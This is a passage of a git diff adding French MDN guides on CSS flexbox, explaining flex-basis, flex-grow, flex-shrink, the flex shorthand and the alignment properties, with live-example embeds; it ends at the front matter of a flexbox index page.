+<p>Si on préfère que les éléments s'étirent pour occuper l'espace restant, il nous faut une méthode pour distribuer cet espace parmi les éléments. C'est le rôle des propriétés <code>flex-</code> qui s'appliquent aux éléments.</p>
+
+<h3 id="La_propriété_flex-basis">La propriété <code>flex-basis</code></h3>
+
+<p>La propriété <code>flex-basis</code> définit la taille de l'élément en termes d'espace occupé. La valeur initiale de cette propriété est <code>auto</code> — dans ce cas, le navigateur analyse si les éléments ont une taille. Dans l'exemple précédent, les éléments mesurent 100 pixels de large et c'est donc cette mesure qui est utilisée pour <code>flex-basis</code>.</p>
+
+<p>Si les éléments n'ont pas de taille définie, c'est la taille du contenu qui est utilisée comme base. C'est pour ça que nous avons simplement déclaré <code>display: flex</code> sur l'élément parent afin de créer des éléments flexibles (qui prennent alors tout l'espace nécessaire à leur contenu).</p>
+
+<h3 id="La_propriété_flex-grow">La propriété <code>flex-grow</code></h3>
+
+<p>La propriété <code>flex-grow</code> est un entier positif qui, lorsqu'elle est définie, permet aux éléments flexibles de s'étendre à partir de la mesure de <code>flex-basis</code>. Ainsi, l'élément sera étiré et occupera l'espace disponible sur cet axe ou une part de cet espace si les autres éléments peuvent s'étendre également.</p>
+
+<p>Si on utilise<code>flex-grow: 1</code> pour les différents éléments de l'exemple précédent, l'espace disponible sera alors partagé de façon égale entre les éléments qui seront alors étirés pour occuper l'ensemble du conteneur le long de l'axe principal.</p>
+
+<p>La propriété <code>flex-grow</code> permet de répartir l'espace disponible en « parts ». Si, pour le premier élément, on indique <code>flex-grow</code> avec une valeur de 2 et, pour les autres éléments, <code>flex-grow</code> avec une valeur de 1, deux « parts » de l'espace disponible seront données au premier élément (il recevra donc 100 pixels parmi les 200 pixels restants) et une part sera fournie à chacun des autres éléments (soit 50 pixels chacun parmi les 200 pixels restants).</p>
+
+<h3 id="La_propriété_flex-shrink">La propriété <code>flex-shrink</code></h3>
+
+<p>La propriété <code>flex-grow</code> permet de gérer la façon dont l'espace est ajouté sur l'axe principal. La propriété <code>flex-shrink</code> permet quant à elle de contrôler la façon dont l'espace est réduit. S'il n'y a pas suffisamment d'espace dans le conteneur pour disposer les éléments et que <code>flex-shrink</code> est un entier positif, l'élément peut alors devenir plus petit que la taille définie par <code>flex-basis</code>. De façon analogue à <code>flex-grow</code>, il est possible d'affecter différents coefficients aux différents éléments afin que ceux-ci rétrécissent plus fortement que d'autres. Plus la valeur de <code>flex-shrink</code> sera élevée, plus l'élément ciblé rétrécira (si les éléments voisins ont une valeur de <code>flex-shrink</code> plus faibles).</p>
+
+<p>La taille minimale de l'élément sera prise en compte lors du rétrécissement. Cela signifie que <code>flex-shrink</code> peut être moins cohérent que <code>flex-grow</code> selon les cas aux limites. Nous verrons plus en détails comment cet algorithme fonctionne dans l'article Contrôler les proportions des éléments le long de l'axe principal.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Les valeurs de <code>flex-grow</code> et <code>flex-shrink</code> sont des proportions. Autrement dit, si tous les éléments ont <code>flex: 1 1 200px</code> et qu'on souhaite qu'un d'eux grandissent deux fois plus, on utiliserait <code>flex: 2 1 200px</code> pour cet élément. Mais avoir <code>flex: 10 1 200px</code> d'une part et <code>flex: 20 1 200px</code> d'autre part fonctionnerait exactement de la même façon.</p>
+</div>
+
+<h3 id="La_propriété_raccourcie_flex_et_les_valeurs_synthétiques">La propriété raccourcie <code>flex</code> et les valeurs synthétiques</h3>
+
+<p>On voit rarement <code>flex-grow</code>, <code>flex-shrink</code> et <code>flex-basis</code> utilisées individuellement mais plutôt combinées avec la propriété raccourcie {{cssxref("flex")}}. La propriété raccourcie <code>flex</code> permet de définir les valeurs de cette propriété dans cet ordre : <code>flex-grow</code>, <code>flex-shrink</code>, <code>flex-basis</code>.</p>
+
+<p>L'exemple suit vous permet de tester différentes valeurs pour <code>flex</code>. La première valeur est <code>flex-grow</code> et un coefficient positif permettra à l'élément de grandir, la deuxième valeur est <code>flex-shrink</code> et un coefficient positif permettra de rétrécir l'élément s'il dépasse du conteneur sur l'axe principal. Enfin, la troisième valeur sert à <code>flex-basis</code> qui indique la taille de base à partir de laquelle l'élément sera étendu ou rétréci.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-properties.html", '100%', 400)}}</p>
+
+<p>Cette propriété permet également d'utiliser des valeurs synthétiques qui couvrent la majorité des scénarios. Vous verrez souvent ces valeurs utilisées dans les tutoriels et, dans de nombreux cas, celles-ci suffiront :</p>
+
+<ul>
+ <li><code>flex: initial</code></li>
+ <li><code>flex: auto</code></li>
+ <li><code>flex: none</code></li>
+ <li><code>flex: &lt;nombre-positif&gt;</code></li>
+</ul>
+
+<p>Avec <code>flex: initial</code>, les éléments récupèrent les valeurs initiales pour les différentes propriétés du modèle de boîte flexible. Cette valeur permettra d'obtenir le même comportement que <code>flex: 0 1 auto</code>. Ici, <code>flex-grow</code> vaut 0 et les éléments ne s'agrandiront pas au-delà de la taille <code>flex-basis</code>. <code>flex-shrink</code> vaut 1 et les éléments pourront rétrécir si besoin plutôt que de dépasser du conteneur. <code>flex-basis</code> vaut <code>auto</code> et les éléments utiliseront donc la taille qui leur a été définie sur l'axe principale ou la taille déterminée à partir du contenu.</p>
+
+<p>Avec <code>flex: auto</code>, on obtient le même comportement que <code>flex: 1 1 auto</code>, la seule différence avec <code>flex:initial</code> est que les éléments peuvent s'étirer si besoin.</p>
+
+<p>Avec <code>flex: none</code>, les éléments ne seront pas flexibles. Cette valeur est synonyme de <code>flex: 0 0 auto</code>. Les éléments ne peuvent ni s'agrandir, ni se rétrécir mais seront disposés avec <code>flex-basis: auto</code>.</p>
+
+<p>On voit aussi souvent des valeurs comme <code>flex: 1</code> ou <code>flex: 2</code>, etc. Cela correspond à <code>flex: 1 1 0</code>. Les éléments peuvent s'agrandir ou bien rétrécir à partir d'une taille de base égale à 0.</p>
+
+<p>Vous pouvez utiliser ces valeurs synthétiques dans l'exemple suivant :</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-shorthands.html", '100%', 510)}}</p>
+
+<h2 id="Alignement_justification_et_distribution_de_l'espace_disponible_entre_les_éléments">Alignement, justification et distribution de l'espace disponible entre les éléments</h2>
+
+<p>Une fonctionnalité majeure des boîtes flexibles est de permettre l'alignement et la justification des éléments le long des axes principal et secondaire tout en distribuant l'espace entre les éléments flexibles.</p>
+
+<h3 id="align-items"><code>align-items</code></h3>
+
+<p>La propriété {{cssxref("align-items")}} permet d'aligner les éléments le long de l'axe secondaire.</p>
+
+<p>La valeur initiale de cette propriété est <code>stretch</code>, ce qui explique pourquoi, par défaut, les éléments flexibles sont étirés sur l'axe perpendiculaire afin d'avoir la même taille que l'élément le plus grand dans cet axe (qui définit la taille du conteneur sur cet axe).</p>
+
+<p>On peut également utiliser la valeur <code>flex-start</code> afin que les éléments soient alignés sur la ligne de début de l'axe secondaire, la valeur <code>flex-end</code> afin que les éléments soient alignés sur la ligne de fin de l'axe secondaire ou bien <code>center</code> pour les aligner au centre. Vous pouvez utiliser les valeurs suivantes dans l'exemple (on a donné un hauteur fixe au conteneur afin de pouvoir observer la façon dont les éléments se déplacent à l'intérieur) :</p>
+
+<ul>
+ <li><code>stretch</code></li>
+ <li><code>flex-start</code></li>
+ <li><code>flex-end</code></li>
+ <li><code>center</code></li>
+</ul>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/align-items.html", '100%', 520)}}</p>
+
+<h3 id="justify-content"><code>justify-content</code></h3>
+
+<p>La propriété {{cssxref("justify-content")}} est utilisée afin d'aligner les éléments le long de l'axe principal dans la direction définie par <code>flex-direction</code>. La valeur initiale est <code>flex-start</code> qui place les éléments à partir de la ligne de début du conteneur sur l'axe principal. La valeur <code>flex-end</code> permet de les placer vers la fin et la valeur <code>center</code> permet de les centrer le long de l'axe principal.</p>
+
+<p>On peut également utiliser la valeur <code>space-between</code> afin de répartir l'espace disponible de façon égale entre chaque élément. Si on souhaite que l'espace soit également réparti autour des éléments, y compris au début et à la fin, on pourra utiliser la valeur <code>space-around</code> (il y aura alors un demi espace à la fin et au début). Si on souhaite que l'espace soit également réparti et qu'il y ait un espace entier au début et à la fin, on utilisera la valeur <code>space-evenly</code>.</p>
+
+<p>Vous pouvez essayer les valeurs suivantes dans l'exemple suivant :</p>
+
+<ul>
+ <li><code>flex-start</code></li>
+ <li><code>flex-end</code></li>
+ <li><code>center</code></li>
+ <li><code>space-around</code></li>
+ <li><code>space-between</code></li>
+ <li><code>space-evenly</code></li>
+</ul>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/justify-content.html", '100%', 380)}}</p>
+
+<p>Dans l'article <a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Aligner_des_%C3%A9l%C3%A9ments_dans_un_conteneur_flexible">Aligner des éléments dans un conteneur flexible</a>, nous verrons plus en détails comment ces propriétés fonctionnent. Ces premiers exemples permettent toutefois de comprendre comment utiliser ces propriétés sur une majorité de cas.</p>
+
+<h2 id="Prochaines_étapes">Prochaines étapes</h2>
+
+<p>Avec cet article, vous devriez comprendre les différentes fonctionnalités et concepts relatifs aux <em>flexbox</em>. Dans le prochain article, nous verrons <a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Liens_entre_flexbox_et_les_autres_dispositions">comment cette spécification s'articule avec les autres modules CSS</a>.</p>
diff --git a/files/fr/web/css/css_flexible_box_layout/contrôler_les_proportions_des_boîtes_flexibles_le_long_de_l_axe_principal/index.html b/files/fr/web/css/css_flexible_box_layout/contrôler_les_proportions_des_boîtes_flexibles_le_long_de_l_axe_principal/index.html
new file mode 100644
index 0000000000..a05bdb1ca2
--- /dev/null
+++ b/files/fr/web/css/css_flexible_box_layout/contrôler_les_proportions_des_boîtes_flexibles_le_long_de_l_axe_principal/index.html
@@ -0,0 +1,200 @@
+---
+title: Contrôler les proportions des boîtes flexibles le long de l'axe principal
+slug: >-
+  Web/CSS/CSS_Flexible_Box_Layout/Contrôler_les_proportions_des_boîtes_flexibles_le_long_de_l_axe_principal
+tags:
+  - Boîtes flexibles
+  - CSS
+  - Flex
+  - Guide
+  - Intermediate
+  - flexbox
+translation_of: >-
+  Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Dans ce guide, nous verrons les trois propriétés appliquées aux éléments flexibles qui permettent de contrôler leurs tailles et flexibilités le long de l'axe principal : {{cssxref("flex-grow")}}, {{cssxref("flex-shrink")}} et {{cssxref("flex-basis")}}. Comprendre le fonctionnement de ces propriétés est primordial pour maîtriser les boîtes flexibles.</p>
+
+<h2 id="Un_premier_aperçu">Un premier aperçu</h2>
+
+<p>Ces trois propriétés contrôlent différents aspects relatifs à la flexibilité des éléments :</p>
+
+<ul>
+ <li><code>flex-grow</code> : quelle proportion de l'espace libre peut-on allouer en supplément à cet élément ?</li>
+ <li><code>flex-shrink</code> : quelle proportion de l'espace peut être retirée à cet élément ?</li>
+ <li><code>flex-basis</code> : quelle est la taille de l'élément avant tout agrandissement/réduction ?</li>
+</ul>
+
+<p>Ces propriétés sont généralement définies via la propriété raccourcie {{cssxref("flex")}}. Le code suivant définira <code>flex-grow</code> avec la valeur <code>2</code>, <code>flex-shrink</code> avec la valeur <code>1</code> et <code>flex-basis</code> avec la valeur <code>auto</code>.</p>
+
+<pre class="brush: css no-line-numbers">.item {
+  flex: 2 1 auto;
+}
+</pre>
+
+<p>Dans l'article sur <a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Concepts_de_base_flexbox">les concepts de base relatifs aux boîtes flexibles</a>, nous avons pu introduire ces propriétés. Ici, nous les étudierons en profondeur afin de comprendre comment le navigateur les interprète.</p>
+
+<h2 id="Les_concepts_majeurs_relatifs_à_l'axe_principal">Les concepts majeurs relatifs à l'axe principal</h2>
+
+<p>Avant de rentrer dans le détail des propriétés, définissons certains concepts clés qui interviennent lorsqu'on travaille sur les proportions le long de l'axe principal. Ces concepts se basent sur la taille <em>naturelle</em> des éléments flexibles (avant tout redimensionnement) et sur la notion d'espace libre.</p>
+
+<h3 id="Le_dimensionnement_des_objets_flexibles">Le dimensionnement des objets flexibles</h3>
+
+<p>Afin de connaître l'espace disponible pour l'organisation des éléments flexibles, le navigateur doit connaître la taille de l'élément. Comment faire lorsque les éléments ne sont pas dimensionnés avec une largeur ou une hauteur exprimée dans une unité de longueur absolue ?</p>
+
+<p>CSS permet d'utiliser les valeurs {{cssxref('width','min-content','#min-content')}} et  {{cssxref('width','max-content','#max-content')}} — ces mots-clés sont définis <a href="https://drafts.csswg.org/css-sizing-3/#width-height-keywords">dans la spécification CSS pour le dimensionnement intrinsèque et extrinsèque</a> et ces valeurs peuvent être utilisées comme <a href="/fr/docs/Web/CSS/length">unité de longueurs</a>.</p>
+
+<p>Dans l'exemple qui suit, on a deux paragraphes qui contiennent chacun une chaîne de caractères. La largeur du premier paragraphe est <code>min-content</code>. Si le navigateur utilisé prend en charge ce mot-clé, on peut voir que le texte passe à la ligne dès que c'est possible, sans dépasser de la boîte. Autrement dit, la longueur <code>min-content</code> correspond à la taille du plus grand mot du paragraphe.</p>
+
+<p>Dans le second paragraphe, on utilise la valeur <code>max-content</code> et on voit le résultat opposé. Le texte prend autant de place que possible et aucun saut à la ligne supplémentaire n'est introduit. Le texte dépasserait de la boîte si le conteneur était trop étroit.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/ratios/min-max-content.html", '100%', 750)}}</p>
+
+<p>Si votre navigateur ne prend pas en charge ces mots-clés, les paragraphes seront affichés normalement. La capture d'écran qui suit illustre le résultat obtenu avec un navigateur compatible :</p>
+
+<p><img alt="Le premier paragraphe est aussi large que le plus long mot qu'il contient alors que le second est étendu sur une seule ligne et dépasse." src="https://mdn.mozillademos.org/files/15658/ratios-size.png" style="display: block; height: 558px; margin: 0px auto; width: 1520px;"></p>
+
+<p>Pour la suite de cet article, gardez à l'esprit l'impact de <code>min-content</code> et <code>max-content</code> lorsque nous verrons les propriétés <code>flex-grow</code> et <code>flex-shrink</code>.</p>
+
+<h3 id="Espace_libre_positif_et_négatif">Espace libre positif et négatif</h3>
+
+<p>Pour étudier ces propriétés, nous devons définir le concept d'<strong>espace libre positif et négatif</strong>. Lorsqu'un conteneur flexible possède un espace libre positif, il dispose de plus d'espace qu'il n'est nécessaire pour afficher les éléments flexibles qu'il contient. Si on a, par exemple, un conteneur dont la largeur mesure 500 pixels, la propriété {{cssxref("flex-direction")}} qui vaut <code>row</code> et trois éléments qui mesurent chacun 100 pixels, il reste alors 200 pixels d'espace libre positif qui pourrait être réparti entre les éléments si on le souhaitait.</p>
+
+<p><img alt="Une image illustrant l'espace restant après que les éléments aient été affichés." src="https://mdn.mozillademos.org/files/15654/Basics7.png" style="display: block; height: 198px; margin: 0px auto; width: 528px;"></p>
+
+<p>L'espace libre négatif est l'espace supplémentaire qui aurait été nécessaire pour contenir tous les éléments à l'intérieur du conteneur flexible. Si on dispose d'un conteneur dont la largeur mesure 500 pixels et trois éléments flexibles dont chacun mesure 200, l'espace total occupé mesure 600 pixels et on a donc 100 pixels d'espace libre négatif. Cet espace pourrait être retiré des éléments afin qu'ils soient contenus dans le conteneur.</p>
+
+<p><img alt="Les objets dépassent du conteneur." src="https://mdn.mozillademos.org/files/15655/ratios1.png" style="display: block; height: 198px; margin: 0px auto; width: 634px;"></p>
+
+<p>C'est cette distribution de l'espace libre qu'il est nécessaire de comprendre afin d'étudier les différentes propriétés relatives aux propriétés flexibles.</p>
+
+<p>Les exemples étudiés par la suite utilisent la propriété {{cssxref("flex-direction")}} avec la valeur <code>row</code>, ce sera donc leur largeur qui sera leur dimension principale. Vous pouvez modifier les exemples afin d'utiliser <code>flex-direction: column</code> (dans ce cas, l'axe principal sera celui des colonnes et la dimension principale sera la hauteur).</p>
+
+<h2 id="La_propriété_flex-basis">La propriété <code>flex-basis</code></h2>
+
+<p>La propriété {{cssxref("flex-basis")}} définit la taille initiale de l'élément flexible avant la répartition de l'espace. La valeur initiale de cette propriété est <code>auto</code>. Si  <code>flex-basis</code> vaut <code>auto</code>, le navigateur vérifie si la taille de l'élément est définie de façon absolue et utilise cette valeur pour <code>flex-basis</code> (par exemple si on indique dans la feuille de style que l'élément mesure 200 pixels, c'est cette mesure qui sera utilisée comme valeur pour <code>flex-basis</code> pour cet élément).</p>
+
+<p>Si la taille initiale de l'élément n'est pas définie de façon absolue, <code>auto</code> correspondra à la taille déterminée automatique. C'est là qu'on comprend mieux l'utilité de <code>min-</code> et <code>max-content</code>, car la boîte flexible utilisera <code>max-content</code> comme valeur pour <code>flex-basis</code>. Dans l'exemple suivant, nous verrons comment en tirer parti.</p>
+
+<p>Dans cet exemple, on crée un ensemble de boîtes inflexibles avec la valeur <code>0</code> pour <code>flex-grow</code> et <code>flex-shrink</code>. On peut voir comment le premier objet, ayant une largeur explicite de 150 pixels, occupe une <code>flex-basis</code> de <code>150px</code> tandis que les deux autres objets qui n'ont pas de largeur sont dimensionnés en fonction de la largeur de leur contenu.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/ratios/flex-basis.html", '100%', 500)}}</p>
+
+<p>En plus du mot-clé <code>auto</code>, on peut également utiliser le mot-clé <code>content</code> comme valeur pour <code>flex-basis</code>. Ainsi, <code>flex-basis</code> sera calculée en fonction de la taille du contenu, même s'il y a une largeur explicitement définie sur l'objet. Ce mot-clé est plus récent et est moins largement pris en charge. Toutefois, on peut obtenir le même effet en utilisant le mot-clé <code>auto</code> et en s'assurant que l'objet n'a pas de largeur définie, ainsi, le dimensionnement automatique sera effectué en fonction du contenu.</p>
+
+<p>Si on souhaite que la boîte flexible ignore complètement la taille du contenu lors de la répartition de l'espace, on pourra utiliser <code>flex-basis</code> avec la valeur <code>0</code>. En résumé, cela revient à indiquer que tout l'espace est disponible et peut être réparti proportionnellement. Nous verrons des exemples utilisant cette valeur lorsque nous étudierons <code>flex-grow</code>.</p>
+
+<h2 id="La_propriété_flex-grow">La propriété <code>flex-grow</code></h2>
+
+<p>La propriété {{cssxref("flex-grow")}} définit <strong>le coefficient d'agrandissement flexible</strong>, qui détermine la façon dont l'objet flexible grandira par rapport aux autres objets flexibles du même conteneur lorsque l'espace libre sera distribué.</p>
+
+<p>Si tous les objets possèdent la même valeur pour le coefficient <code>flex-grow</code>, l'espace sera réparti également entre chacun. Dans ce cas, on utilisera généralement la valeur <code>1</code>. Ceci étant dit, on pourrait tout aussi bien utiliser la valeur <code>88</code>, <code>100</code> ou <code>1.2</code> — ce coefficient est un simple ratio. Si le coefficient est le même pour tous les objets et qu'il reste de l'espace libre dans le conteneur, cet espace sera réparti équitablement.</p>
+
+<h3 id="Combiner_flex-grow_et_flex-basis">Combiner <code>flex-grow</code> et <code>flex-basis</code></h3>
+
+<p>Les choses se compliquent lorsque <code>flex-grow</code> et <code>flex-basis</code> interagissent. Prenons un exemple où trois objets flexibles ont chacun des contenus de longueurs différentes et auxquels on applique la règle suivante :</p>
+
+<p><code>flex: 1 1 auto;</code></p>
+
+<p>Dans ce cas, <code>flex-basis</code> vaut <code>auto</code> et les objets n'ont pas de largeur explicite définie : ils sont donc dimensionnés automatiquement. Cela signifie que la boîte flexible utilisera la taille <code>max-content</code> des éléments. Après avoir disposé les objets, il reste de l'espace libre dans le conteneur flexible (ce qui correspond à la zone hachurée de la figure suivante) :</p>
+
+<p><img alt="Une image illustrant l'espace libre positif avec une zone hachurée." src="https://mdn.mozillademos.org/files/15656/ratios2.png" style="display: block; height: 100px; margin: 0px auto; width: 634px;"></p>
+
+<p>On utilise ici une valeur <code>flex-basis</code> égale à la taille du contenu, l'espace disponible qui peut être distribué est donc égal à la taille du conteneur (ici sa largeur) moins la taille des éléments. Cet espace est partagé équitablement entre les différents objets. Ainsi, l'objet le plus grand finira avec une taille plus grande, car sa taille de départ est plus importante bien que la même quantité d'espace restant ait été affectée aux autres objets :</p>
+
+<p><img alt="L'espace positif est réparti entre les éléments." src="https://mdn.mozillademos.org/files/15657/ratios3.png" style="display: block; height: 100px; margin: 0px auto; width: 634px;"></p>
+
+<p>Si on souhaite obtenir trois objets de la même taille alors qu'ils ont des tailles initiales différentes, on pourra utiliser :</p>
+
+<p><code>flex: 1 1 0;</code></p>
+
+<p>Ici, on indique que, lors de la phase de répartition de l'espace, la taille des objets vaut <code>0</code> — tout l'espace peut être utilisé. Or, les trois objets ayant tous le même coefficient <code>flex-grow</code>, ils récupèrent chacun la même quantité d'espace. On obtient donc trois objets flexibles de même largeur.</p>
+
+<p>Vous pouvez modifier le coefficient <code>flex-grow</code> pour le passer de 1 à 0 dans l'exemple qui suit pour observer la façon dont les objets se comportent :</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/ratios/flex-grow.html", '100%', 520)}}</p>
+
+<h3 id="Affecter_différents_coefficients_flex-grow_aux_éléments">Affecter différents coefficients <code>flex-grow</code> aux éléments</h3>
+
+<p>Notre compréhension du fonctionnement de <code>flex-grow</code> avec <code>flex-basis</code> nous permet de mieux contrôler chacun des éléments en leur affectant différents coefficients <code>flex-grow</code>. Si on conserve la valeur <code>0</code> pour <code>flex-basis</code> afin que tout l'espace soit distribué, on pourra affecter différentes valeurs de <code>flex-grow</code> afin qu'ils grandissent différemment. Dans l'exemple qui suit, on utilise les valeurs suivantes :</p>
+
+<ul>
+ <li><code>1</code> pour le premier élément</li>
+ <li><code>1</code> pour le deuxième élément</li>
+ <li><code>2</code> pour le troisième</li>
+</ul>
+
+<p>On utilise <code>flex-basis</code> avec la valeur <code>0</code> ce qui signifie que l'espace disponible est réparti de la façon suivante. On additionne les différents facteurs <code>flex-grow</code> puis on divise l'espace libre du conteneur par cette somme (dans notre exemple, elle vaut 4). Ensuite, on répartit l'espace en fonction des différents coefficients individuels : le premier objet récupère une part d'espace, le deuxième en récupère également une et le dernier récupère deux parts. Autrement dit, le troisième objet sera deux fois plus grand que le premier et le deuxième objet.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/ratios/flex-grow-ratios.html", '100%', 520)}}</p>
+
+<p>Rappelons qu'on peut utiliser n'importe quelle valeur positive pour ces facteurs. C'est le rapport entre ces différents facteurs qui importe. Vous pouvez aussi bien utiliser des nombres entiers ou des nombres décimaux. Pour tester cela, vous pouvez changer les coefficients précédents afin de plutôt utiliser respectivement <code>.25</code>, <code>.25</code> et <code>.50</code> — vous obtiendrez alors le même résultat.</p>
+
+<h2 id="La_propriété_flex-shrink">La propriété <code>flex-shrink</code></h2>
+
+<p>La propriété {{cssxref("flex-shrink")}} définit <strong>le coefficient de rétrécissement flexible</strong> qui détermine la façon dont l'objet flexible se réduit relatviement aux autres objets du conteneur flexible lorsque l'espace négatif est distribué.</p>
+
+<p>Cette propriété est utilisée lorsque le navigateur calcule les valeurs <code>flex-basis</code> des différents objets flexibles et obtient des valeurs qui dépassent la taille du conteneur flexible. Tant que <code>flex-shrink</code> possède une valeur positive, les éléments pourront rétrécir afin de ne pas dépasser du conteneur.</p>
+
+<p>Ainsi, si <code>flex-grow</code> gère la façon dont on peut ajouter de l'espace disponible, <code>flex-shrink</code> gère la façon dont on retire de l'espace aux boîtes des objets afin qu'ils ne dépassent pas de leur conteneur.</p>
+
+<p>Dans le prochain exemple, on dispose de trois éléments dans le conteneur flexible. Chacun mesure 200 pixels de large dans un conteneur qui mesure 500 pixels de large. Si <code>flex-shrink</code> vaut <code>0</code>, les éléments ne sont pas autorisés à rétrécir et ils dépassent donc de la boîte.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/ratios/flex-shrink.html", '100%', 500)}}</p>
+
+<p>En passant la valeur de <code>flex-shrink</code> à <code>1</code>, on peut voir que la taille de chaque élément diminue de la même façon afin que l'ensemble des objets tiennent dans la boîte. Les éléments ont désormais une taille inférieure à leur taille initiale.</p>
+
+<h3 id="Combiner_flex-shrink_et_flex-basis">Combiner <code>flex-shrink</code> et <code>flex-basis</code></h3>
+
+<p>On pourrait dire et penser que <code>flex-shrink</code> fonctionne de la même façon que <code>flex-grow</code>. Toutefois, deux arguments viennent contrecarrer cette analogie.</p>
+
+<p>Le premier, expliqué de façon subtile dans la spécification est la différence de comportement entre <code>flex-shrink</code> et l'espace libre négatif et celui de <code>flex-grow</code> avec l'espace libre positif :</p>
+
+<blockquote>
+<p>“Note : Le coefficient <code>flex-shrink</code> est multiplié par la taille de base (<code>flex-basis</code>) lors de la distribution de l'espace négatif. Ainsi, l'espace négatif est distribué proportionnellement au rétrécissement possible de l'élément. Autrement dit, un petit élément ne sera pas réduit à une taille nulle avant qu'un plus grand élément n'ait été réduit de façon notable.”</p>
+</blockquote>
+
+<p>Le second argument s'explique par l'impossibilité de réduire les petits éléments à une taille nulle lors de la suppression de l'espace libre négatif. Les éléments seront au maximum rétrécis jusqu'à obtenir leur taille  <code>min-content</code> — c'est-à-dire la taille qu'ils obtiennent s'ils utilisent tous les emplacements de rupture de ligne possibles.</p>
+
+<p>On peut observer ce seuil avec <code>min-content</code> dans l'exemple qui suit où <code>flex-basis</code> est résolu avec la taille du contenu. Si on change la largeur du conteneur flexible (en l'augmentant à 700 pixels par exemple) puis en réduisant la largeur de l'élément flexible, on peut voir que les deux premiers objets passent à la ligne. Toutefois, ils ne deviennent pas plus petits que <code>min-content</code>. Lorsque la boîte se réduit, l'espace est simplement retiré du troisième élément.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/ratios/flex-shrink-min-content.html", '100%', 500)}}</p>
+
+<p>En pratique, cette méthode de rétrécissement fournit des résultats prévisibles, car on ne souhaite pas que le contenu disparaisse entièrement ou que les boîtes soient plus petites que leur contenu minimal. Les règles présentées ci-avant sont donc pertinentes lorsqu'on souhaite rétrécir des objets afin qu'ils rentrent dans un conteneur.</p>
+
+<h3 id="Utiliser_différents_coefficients_flex-shrink_pour_différents_éléments">Utiliser différents coefficients <code>flex-shrink</code> pour différents éléments</h3>
+
+<p>Comme avec <code>flex-grow</code>, on peut utiliser différents coefficients <code>flex-shrink</code>. Cela permet de modifier le comportement par défaut et on peut ainsi avoir un élément qui se réduit plus ou moins rapidement que ses voisins (voire qui ne se réduit pas du tout).</p>
+
+<p>Dans l'exemple suivant, le premier objet possède un coefficient <code>flex-shrink</code> égal à 1, le deuxième a un coefficient égal à <code>0</code> (il ne rétrécira pas du tout) et le troisième est paramétré avec <code>4</code>. Ainsi, le troisième élément rétrécit plus vite que le premier. N'hésitez pas à utiliser différentes valeurs pour observer le résultat obtenu. De la même façon qu'avec <code>flex-grow</code>, on peut utiliser nombres entiers ou des nombres décimaux, utilisez ce qui vous paraît le plus pertinent.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/ratios/flex-shrink-ratios.html", '100%', 570)}}</p>
+
+<h2 id="Maîtriser_le_dimensionnement_des_objets_flexibles">Maîtriser le dimensionnement des objets flexibles</h2>
+
+<p>Comprendre le dimensionnement des objets flexibles revient avant tout à comprendre les différentes étapes qui sont déroulées et notamment celles-ci que nous avons pu étudier dans ces guides :</p>
+
+<h3 id="Quelle_est_la_taille_de_base_de_l'objet">Quelle est la taille de base de l'objet ?</h3>
+
+<ol>
+ <li>Si  <code>flex-basis</code> vaut <code>auto</code> et que l'objet possède une dimension explicitement définie, c'est cette dimension qui sera utilisée.</li>
+ <li>Si  <code>flex-basis</code> vaut <code>auto</code> ou <code>content</code> (pour les navigateurs qui prennent en charge cette valeur), c'est la taille du contenu qui déterminera la taille de base de l'élément</li>
+ <li>Si <code>flex-basis</code> est exprimée avec une valeur de longueur non nulle, c'est cette valeur qui sera la taille de base de l'élément.</li>
+ <li>Si  <code>flex-basis</code> vaut <code>0</code>, la taille de l'élément n'est pas pris en compte lors de la répartition de l'espace.</li>
+</ol>
+
+<h3 id="De_l'espace_est-il_disponible">De l'espace est-il disponible ?</h3>
+
+<p>Les objets ne s'étendent pas s'il n'y a pas d'espace libre positif et ne se réduisent pas s'il n'y a pas d'espace libre négatif.</p>
+
+<ol>
+ <li>Si on prend tous les objets et qu'on somme leur dimension principale (la largeur si on travaille en ligne ou la hauteur si on travaille en colonne) et qu'on obtient une quantité inférieure à la dimension principale du conteneur, on aura alors un espace libre positif et c'est la propriété <code>flex-grow</code> qui entrera en jeu.</li>
+ <li>Si cette somme dépasse la taille du conteneur flexible, on aura alors un espace libre négatif et c'est la propriété <code>flex-shrink</code> qui sera utilisée.</li>
+</ol>
+
+<h3 id="Les_autres_façons_de_distribuer_l'espace">Les autres façons de distribuer l'espace</h3>
+
+<p>Si on ne souhaite pas ajouter d'espace aux objets, on pourra tout aussi bien répartir cet espace libre entre les objets ou autour grâce aux propriétés d'alignement vu dans <a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Aligner_des_éléments_dans_un_conteneur_flexible">le guide sur l'alignement</a>. La propriété {{cssxref("justify-content")}} permettra de répartir cet espace entre les objets ou autour d'eux. Les marges automatiques peuvent être utilisées sur les objets flexibles afin d'absorber l'espace et de créer des gouttières entre ces objets.</p>
+
+<p>Tout ces outils relatifs aux boîtes flexibles vous permettent d'accomplir la plupart des dispositions et n'auront plus de secret au fur et à mesure de vos essais et expérimentations.</p>
diff --git a/files/fr/web/css/css_flexible_box_layout/index.html b/files/fr/web/css/css_flexible_box_layout/index.html
new file mode 100644
index 0000000000..46576643ce
--- /dev/null
+++ b/files/fr/web/css/css_flexible_box_layout/index.html
@@ -0,0 +1,114 @@
+---
+title: Disposition des boîtes flexibles CSS
+slug: Web/CSS/CSS_Flexible_Box_Layout
+tags:
+  - Aperçu
+  - CSS
+  - CSS Flexible Box Layout
+  - CSS Flexible Boxes
+  - Reference
+translation_of: Web/CSS/CSS_Flexible_Box_Layout
+---
+<div>{{CSSRef}}</div>
+
